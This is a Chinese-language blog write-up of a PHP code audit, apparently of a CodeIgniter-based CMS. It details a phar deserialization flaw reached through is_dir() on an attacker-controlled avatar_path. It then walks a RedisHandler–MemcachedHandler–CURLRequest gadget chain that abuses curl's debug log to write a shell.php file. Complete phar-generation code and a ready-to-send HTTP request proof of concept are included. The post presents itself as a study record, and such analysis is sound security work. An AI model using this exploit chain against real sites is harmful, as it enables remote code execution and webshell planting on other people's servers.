PHP代码审计之反序列化学习记录
PHP代码审计之反序列化学习记录
注
本文版权归原作者所有,未经允许禁止转载。
前言
平常一般不进行代码审计,这次有幸听了朋友的一次 PHP代码审计,跟着学习了一下,看看审计是咋样的,便有了这篇博客,以此记录。
反序列化漏洞
虽然不搞代码审计,但还是对反序列化有过了解,据我所知反序列化的漏洞触发点只有 unserialize
函数,但我朋友告诉我除了这个还可以使用文件操作触发 phar
反序列化,这玩意我只听过,但没去了解,于是便上网查阅资源:

跟 Java
中的 War
包类似?那为啥能触发反序列化?继续查阅资料:

懂了,phar 被加载时如果存在序列化对象则会自动反序列化,但这个加载指的是文件还是?继续查阅资料:

懂了,接下来看整个过程。
is_dir () 触发 phar
反序列化
is_dir
用于判断传入的文件是否为目录,而文件操作支持 phar
伪协议,因此可以触发反序列化,在后台的地方,下方代码 test_avatar_domain
有一处 avatar_path
参数可控,通过 POST
传入:

这里还有个知识不了解,那就是 PHP
的传参方式,可以用数组的方式传递:
# POST 表单
image[avatar_path]=xxx
寻找合适的反序列化链
触发反序列化后,接下来就是得找链子,各种 魔术方法
都得去看看,最终我朋友找到了下方链子(找的过程比较艰难):
RedisHandler
类的__destruct
的this->close()
熟知的魔术方法 __destruct
,this->redis
可控:

接下来找什么类有 close
方法可以进一步利用,并且其中参数也可控,最终找到了:
MemcachedHandler
类的close方法
,this->memcached
,this->lockkey
可控

关注 this->lockkey
参数,继续寻找 delete
方法:
CURLRequest
的delete
方法,$url
可控

CURLRequest
本类的request
方法,$url
可控

前面几个方法都是调用本类的方法,没啥用且不会影响后续代码的执行,关注 this->send
方法,进入查看:

该方法似乎在使用 curl
发起请求,$url
被存到 $curlOptions
中,是 curl
请求的目标,最终跟进 this->setCURLOptions
,看到了有意思的一段代码:

其中 CURLOPT_VERBOSE=1
,也就是 True
,查阅资料,意义如下:

他将似乎会触发 curl
日志写入,尝试 curl
并使用 -verbose
参数看看日志是什么:

我勒个去,响应头、甚至响应内容是日志?那岂不是文件写入?但还得看看上方的 config['debug']
看能不能可控,往上阅读发现,这不是本类的 config
属性?

生成 Phar
一个文件写入就打成了!由于后台支持附件上传,因此可以直接在后台上传,Phar
反序列化文件生成:
<?php
namespace {
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
}
namespace CodeIgniter\Cache\Handlers {
use CodeIgniter\Session\Handlers\MemcachedHandler;
class RedisHandler {
protected $redis;
public function __construct() {
// 实例化不同命名空间中的 RedisHandler 类
$this->redis = new MemcachedHandler();
}
}
}
namespace CodeIgniter\Session\Handlers{
use CodeIgniter\HTTP\CURLRequest;
class MemcachedHandler {
public $memcached;
public $lockKey;
public function __construct()
{
$this->lockKey='http://127.0.0.1/123.php';
$this->memcached = new CURLRequest();
}
}
}
namespace CodeIgniter\HTTP{
class CURLRequest
{
protected $config = [];
public function __construct()
{
$this->config = [
// 'timeout' => 1.0,
// 'connect_timeout' => 150,
'debug' => "shell.php",
'verify' => true,
];
}
}
}
// 全局命名空间
namespace {
use CodeIgniter\Cache\Handlers\RedisHandler;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new RedisHandler();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
//$o = new RedisHandler();
//print_r(urlencode(serialize($o)));
}
POC
POST /adminbdae3ba8b340.php?c=api&m=test_avatar_domain HTTP/1.1
Host: xxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6301.219 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrf_cookie_name=cc62a48008d5281ff3c2521fa5cd431d; bbe03f95f25cbc8a527d06927ad34d44_member_uid=1; bbe03f95f25cbc8a527d06927ad34d44_member_cookie=a8e1f672b7ef88f70d5f2c273f3b6f7b; xunruicms_bbe03f95f25cbc8a527d06927ad34d44=jatb9e3idmcusc4knl3424lcifogbcf7
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
image[avatar_path]=phar://./uploadfile/202408/a4bfc9028a4fe10.zip

phpstudy
windows 生成在 php.exe
的根目录下面,Linux
下的宝塔环境会生成在网站根目录:

shell.php
:

经测试并没有将响应内容写入日志,因此只能通过在响应头中添加 php
代码。